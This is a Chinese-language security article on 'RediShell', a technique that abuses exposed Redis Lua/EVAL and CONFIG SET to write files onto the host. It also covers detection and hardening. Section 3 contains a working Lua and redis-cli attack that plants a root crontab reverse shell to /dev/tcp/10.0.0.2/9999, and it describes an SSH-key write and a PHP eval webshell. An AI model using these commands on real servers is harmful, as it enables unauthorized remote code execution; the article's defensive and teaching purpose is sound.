
最近在看一次内网安全评估报告时又碰到那串熟悉的关键字6379 端口暴露、CONFIG SET dir、EVAL脚本最后落盘写了一个 crontab。群里管这套打法叫 RediShell听起来挺酷本质上是借着 Redis Lua 脚本引擎的能力做了一次 RCE直接把一个数据库服务变成了攻击者的远程 shell。这个玩法并不算新但隔一阵子就会有人用它拿下目标机器值得好好拆一遍。这篇文章适合 Redis 运维、平台工程师和安全从业者一起看。如果你正在管一套带 Redis 的线上系统或者你在做内网渗透下面这些内容可以帮你搞清楚 RediShell 到底打在哪里、为什么 Lua 会成为突破口、以及如何提前把路堵死。1. 背景与定位RediShell 是在打什么1.1 Redis 高频应用高价值目标Redis 恐怕是现在业务系统里普及率最高的组件之一。缓存、Session、分布式锁、限流、异步队列它都能干。甚至在不少架构里Redis 的角色已经从“缓存”变成了“核心数据库”里面存着会话和业务状态。正因为用得多、权限大、部署复杂Redis 成了攻击者的优先目标。很多团队部署 Redis 时根本没把它当作一个“可编程服务”来理解而只是当成一个更快的 KV 存储。于是默认配置一上来bind 0.0.0.0、没有requirepass、数据目录随便落在/data进程甚至轻率地以 root 身份运行。这种状态一旦端口暴露到不可信网络攻击面就是全面打开的。1.2 RediShell 就是那套“借尸还魂”的武器RediShell 并不是 Redis 官方发布的工具也不是某个商业产品的代号而是安全社区对一类利用脚本的统称。这类脚本的目标很直接通过 Redis 自带的能力让攻击者在目标服务器上拿到 shell 执行权限。它的核心不是破洞而是“借力”。攻击者连接上未授权的 Redis 后不需要逆向二进制也不需要内存漏洞只靠几条命令就能完成命令执行。Lua 脚本引擎在其中扮演的角色是让整个利用过程更加紧凑和隐蔽调用一次EVAL就可以把配置修改、数据写入、持久化触发全部一次性完成像写了一段自动化程序一样干净。这里说的“严重 RCE 威胁”并不是某个特定版本的内存破坏漏洞而是 Redis 在设计上给了 Lua 脚本过宽的权限加上默认配置没有收敛导致一条链路直接通向系统 Shell。2. 读懂前置条件EVAL 和 Lua 在 Redis 里的地位2.1 EVAL 是原子操作的“神兵”也是“暗门”Redis 从 2.6 开始内置 Lua 解释器提供EVAL和EVALSHA命令。EVAL的基本写法是把一段 Lua 代码交给 Redis 服务端执行EVAL return redis.call(GET, KEYS[1]) 1 mykey这条命令会让 Redis 在服务端解析 Lua 脚本把KEYS[1]替换成mykey然后通过redis.call(GET, ...)去执行一条 Redis 命令。脚本实现是业务逻辑和原子操作的结合因为 Redis 是单线程执行命令Lua 脚本在运行期间不会被打断所以很多分布式锁、限流器、秒杀减库存都愿意用 Lua 来保证并发安全。问题也藏在这里脚本是在 Redis 服务端进程内执行的。它不是一个独立沙箱进程而是和 Redis 主进程共享内存空间的“寄生代码”。你能在脚本里触发的所有能力都直接对应到 Redis 的最终权限。2.2 Lua 沙箱究竟限制了什么Redis 对 Lua 并不是完全放养它做了一层沙箱。官方在初始化 Lua 环境时会删掉一批危险能力避免脚本搞坏服务器或者读取敏感文件。典型的禁用项包括os、io、package、debug、loadfile、dofile等。下面是常见的沙箱保留/禁用对照表分类典型入口沙箱状态系统调用os.execute、os.rename移除文件操作io.open、io.write移除模块加载package.loadlib、require移除调试能力debug.getupvalue移除动态编译loadstring保留但可控Redis 交互redis.call、redis.pcall保留工具库string、table、math保留看到这里很多人会松一口气系统调用被删了文件读写也没了Lua 脚本不是挺安全的吗但真正的问题在于这个沙箱只挡住了“Lua 原生能力”没有挡住“Redis 自身能力”。2.3 沙箱并没有挡住危险能力redis.call是一个从 Lua 打回 Redis 内部命令的桥梁。它执行的结果是 Redis 自己的命令集而 Redis 的命令集里本来就有非常危险的管理命令CONFIG SET、SAVE、BGSAVE、SLAVEOF。沙箱没拦这些也不会替你做访问控制。这就形成了一个能力边界错位Lua 沙箱认为自己在管“脚本不越权”但脚本通过redis.call能调用的 Redis 命令并不受“最小权限原则”约束。也就是说允许执行 Lua 脚本等于允许用脚本调用 Redis 的一切可用命令。RediShell 之所以能“绕”过去并不是靠什么高级逃逸技巧而是发现了一个设计边界“不让你用 os 库” 和 “不让你干坏事” 是两件事。3. RediShell 漏洞原理三步拿到系统 Shell3.1 核心思路用 CONFIG 写文件用 SAVE 触发落盘Redis 支持把内存数据持久化到磁盘。RDB 持久化会把某个时间点的数据稠密地写入一个二进制文件文件名和目录由dbfilename和dir两个配置决定。这两个配置不但能用CONFIG SET临时改而且改动后不需要重启即生效。CONFIG SET可以修改运行中的 Redis 配置这是官方提供的能力。默认情况下只要连接是未认证的或已经通过认证任何人都可以执行。于是“写文件”这个步骤就变成了通过CONFIG SET dir把持久化目录改到攻击者想要的目录。通过CONFIG SET dbfilename把文件名改成目标文件名。通过SET写入一个包含恶意内容的 key 和 value。通过SAVE或BGSAVE触发持久化目标文件落盘。听起来像是正常备份流程实际就是在目标机器任意位置种一个文件。如果 Redis 进程是 root 启动那能写的范围就是整个文件系统。3.2 关键命令拆解与构造以最常见的 crontab 利用为例。假设目标 Redis 进程是 root攻击者想把恶意命令放进 root 用户的定时任务里。典型 Lua 攻击脚本如下local payload \n\n*/1 * * * * bash -i /dev/tcp/10.0.0.2/9999 01\n\n redis.call(CONFIG, SET, dir, /var/spool/cron/) redis.call(CONFIG, SET, dbfilename, root) redis.call(SET, cronline, payload) redis.call(SAVE) return ok通过EVAL一次性执行redis-cli -h 192.168.1.10 -p 6379 EVALlocal payload \n\n*/1 * * * * bash -i /dev/tcp/10.0.0.2/9999 01\n\n; redis.call(CONFIG, SET, dir, /var/spool/cron/); redis.call(CONFIG, SET, dbfilename, root); redis.call(SET, cronline, payload); redis.call(SAVE) 0执行完成后/var/spool/cron/root文件会出现在服务器上。定时任务每一分钟运行一次触发/bin/bash向攻击者的 IP 发起反弹连接。这里要解释一下/var/spool/cron/root里面虽然是 Redis 的 RDB 二进制内容不是干净的 cron 格式但 cron 解析器会按行读取只要有一行是有效的定时任务它就会执行。攻击者在 payload 前后加上大量换行就是为了让 RDB 文件中那些二进制垃圾被 cron 当作错误行忽略而真正恶意的那一行会被识别。3.3 从写文件到反弹 Shell / 逆向后门crontab 只是其中一个落点比较常见的还有两种SSH 公钥写入把dir改成/root/.ssh/把dbfilename改成authorized_keys然后 SET 一个值值里包含攻击者的 RSA 公钥。之后攻击者可以用对应的私钥直接 SSH 登录目标。网站目录写 WebShell如果目标跑着 PHP可以把持久化文件写到 Web 根目录写入?php eval($_POST[cmd]);?之类的代码。虽然 RDB 文件头是二进制垃圾但在某些场景下攻击者可以调整格式让 PHP 引擎尽量忽略非 PHP 标签外的内容实际利用效果取决于具体环境。这些落点的共同原理都是利用 Redis 落盘能力把控制文件写到攻击者能利用的位置。反弹 shell、公钥登录、WebShell 都只是后续承载恶意代码的方式。RediShell 这类工具会把上述操作封装成一条 EVAL 指令攻击者只需提供目标 IP、攻击 IP、端口和目标类型工具自动完成。这也是它被称为“Redis Shell”的原因。3.4 为什么日常配置会放行很多人会问我都开启了密码也做了 bind 限制还会被这样打吗要回答这个问题得看你有没有从权限模型上做约束。默认情况下Redis 的认证只是验证 TCP 连接有没有密码验证通过之后所有可用命令是平等的。CONFIG SET和GET在权限上是同一层级没有“普通用户不能改配置”这种区分。所以实际情况经常是内网 Redis 没密码防火墙只挡外网但攻击者已经通过 WebShell 或其他入口拿到内网跳板。有密码但密码是redis2020一类弱口令基本等于没有。启用了 ACL但开发图省事给了用户allcommands权限Redis 的“低权限账号”形同虚设。Redis 容器以 root 启动数据目录绑定到宿主目录一条 EVAL 就能写宿主机文件。任何一条落实RediShell 都能用起来。真正挡住它的不是密码而是“能不能执行 CONFIG/SET/SAVE”这套权限组合。4. 影响范围与利用条件分析4.1 必须满足的这四个前提要把 RediShell 从“有漏洞”变成“拿下 shell”通常需要满足以下条件条件说明Redis 端口可访问6379/TCP 暴露在攻击者网络可达范围内或在获得内网跳板后可触达未认证或弱口令攻击者能成功执行命令ACL 配置不当同样算CONFIG SET未被禁用Redis 没有用rename-command CONFIG 来禁用该命令Redis 进程有写权限进程用户能够写目标目录比如 root 写/var/spool/cron或用 redis 用户写 Web 目录这四个条件缺一个都不行就算端口暴露但 Redis 用非 root 跑了写不进 cron 目录攻击面就会缩小就算能写文件但今天 Redis 已经把 CONFIG 命令禁用脚本也传不进去。4.2 真实网络环境中的暴露情况在互联网上扫描 6379 端口依然能扫到大量裸奔实例。它们分布在各类云主机、开发测试环境、容器平台里。很多团队以为内网是安全的实际上内网攻击者可能已经从一个低权限 Web 应用打进来接着就会扫内部网段的 6379。Redis 往往配置在内网却只用了requirepass做最基础的卡口有的密码还被存在代码仓库里。还有一类常见场景是 Docker 部署。有些部署脚本为了省事直接做了docker run -d -p 6379:6379 redis:5.0宿主机的 Redis 端口映射到公网容器内默认账号没有密码进程也是 root。这种环境对于 RediShell 来说几乎就是“开箱即用”。4.3 与纯 Lua 沙箱逃逸的对比安全文献里还提到另一类 RCE通过 Lua 沙箱自身的漏洞逃逸出 Lua 运行时直接调用os.execute。这类漏洞在特定历史版本中真实存在过需要利用getfenv、setfenv、loadstring等语言特性爬环境或者用调试接口拿到隐藏的全局表技术门槛更高。而 RediShell 走的配置滥用路径则完全不同对比维度RediShell配置滥用Lua 沙箱逃逸利用复杂度较低几行命令即可较高需要构造语言环境逃逸链版本依赖广泛存在于旧版本和不少新版本通常依赖特定历史版本或老 Lua 解释器是否绕过 Lua 沙箱不需要直接使用沙箱内能力需要突破沙箱边界本质权限模型设计缺陷语言运行时隔离缺陷两者都说明一件事把不可信代码放进 Redis 进程执行本身就很危险不管边界是“配置滥用”还是“语言逃逸”最终都能通向系统级 RCE。5. 检测、排查与防御落地5.1 怎么判断自己是不是中招了如果怀疑环境中了 RediShell先检查这些点查看/var/spool/cron/下有没有异常的root文件以及内容是否包含反弹 shell 特征。查看/etc/cron.d/、/etc/crontab有没有不认识的定时任务。检查/root/.ssh/authorized_keys是否被追加了陌生公钥。在 Redis 上用只读命令确认运行中配置redis-cli -p 6379 CONFIG GET dir redis-cli -p 6379 CONFIG GET dbfilename正常环境下dir应该是 Redis 自己的数据目录比如/var/lib/redis如果变成/var/spool/cron或者/tmp这种明显不属于 Redis 持久化的目录就需要重点排查。查看 Redis 命令统计看config命令是否有大量非业务调用redis-cli -p 6379 INFO commandstats | grep -i config5.2 修复与加固清单防御 RediShell核心思路是把“让攻击者具备利用条件”的路一条条堵死网络隔离Redis 只允许业务服务器通过内网访问防火墙关闭公网 6379 入站容器映射只绑定可信网卡。启用强认证生成随机强度足够复杂的requirepass不使用redis、password等常见弱口令。升级 Redis 版本并启用 ACL为每个业务独立账号分配最小权限业务账号不包含CONFIG、SAVE、BGSAVE、SLAVEOF、SCRIPT等管理命令权限。显式禁用高风险命令如果业务不需要通过命令行改动配置可以在redis.conf里用重命名方式屏蔽rename-command CONFIG rename-command EVAL rename-command EVALSHA 注意生产环境要确认业务脚本没依赖这些命令否则会误伤。低权限运行 Redis创建独立系统用户如redis确保进程不拥有 root 权限数据目录的所有权也归属于该用户避免任何写/var/spool/cron、/root/.ssh的可能。修改持久化文件名和目录可以考虑限制dbfilename只允许固定值防止攻击者改写成任意文件名。开启日志和审计记录EVAL、CONFIG SET、SAVE等事件并接入外部监控告警。5.3 本地复现实验注意事项如果你打算在本地环境验证这个利用链请一定在隔离的虚拟机或 Docker 容器内执行绝不能对着互联网资产测试。推荐流程docker run -d --name redis-poc -p 6379:6379 -e ALLOW_EMPTY_PASSWORDyes bitnami/redis:5.0然后使用redis-cli连接执行前面给出的 EVAL 脚本。观察SAVE之后/var/spool/cron/root文件是否生成。这个实验能帮助你直观理解“为什么 Lua 脚本可以随意修改 Redis 配置”。实验结束后立刻销毁容器不要留下脏数据。这里提醒一句不要把 PoC 直接改一改就丢进客户环境里跑。安全测试需要授权复现只能作为技术和防御研究的一部分目的是把风险讲清楚而不是滥用工具。6. 一点个人经验我做过的几次 Redis 相关安全自查里最常见的误区是团队认为“开了密码就安全”。实际上密码只是第一道门真正致命的是 Redis 的命令权限完全没有细粒度控制。很多开发框架为了追求性能会在业务代码里频繁使用EVAL这本身就要求 Redis 开放脚本执行能力。如果这个时候 Redis 还能写任意目录、还能有 root 权限那一条漏出的服务密码就可能演变成主机沦陷。另一个容易被忽略的点是监控很多环境里Redis 日志根本没接入统一采集所以即使攻击者已经用 EVAL 写过 cron 文件、弹过 shell你都不知道它是怎么进来的。建议至少把 Redis 的命令调用统计做成定时巡检尤其是CONFIG、SAVE、EVAL这三类命令的使用频率和来源 IP发现异常及时排查。最后再说一个小技巧除了禁用CONFIG还可以在redis.conf中把save 写进去彻底关掉 RDB 持久化。如果业务完全不需要 RDB这个动作可以单独堵住 RediShell 最关键的“落盘”环节。如果必须使用 RDB则要把持久化目录权限配置得非常严格只允许 Redis 数据目录可写。每一层少一个条件攻击者就少一分机会。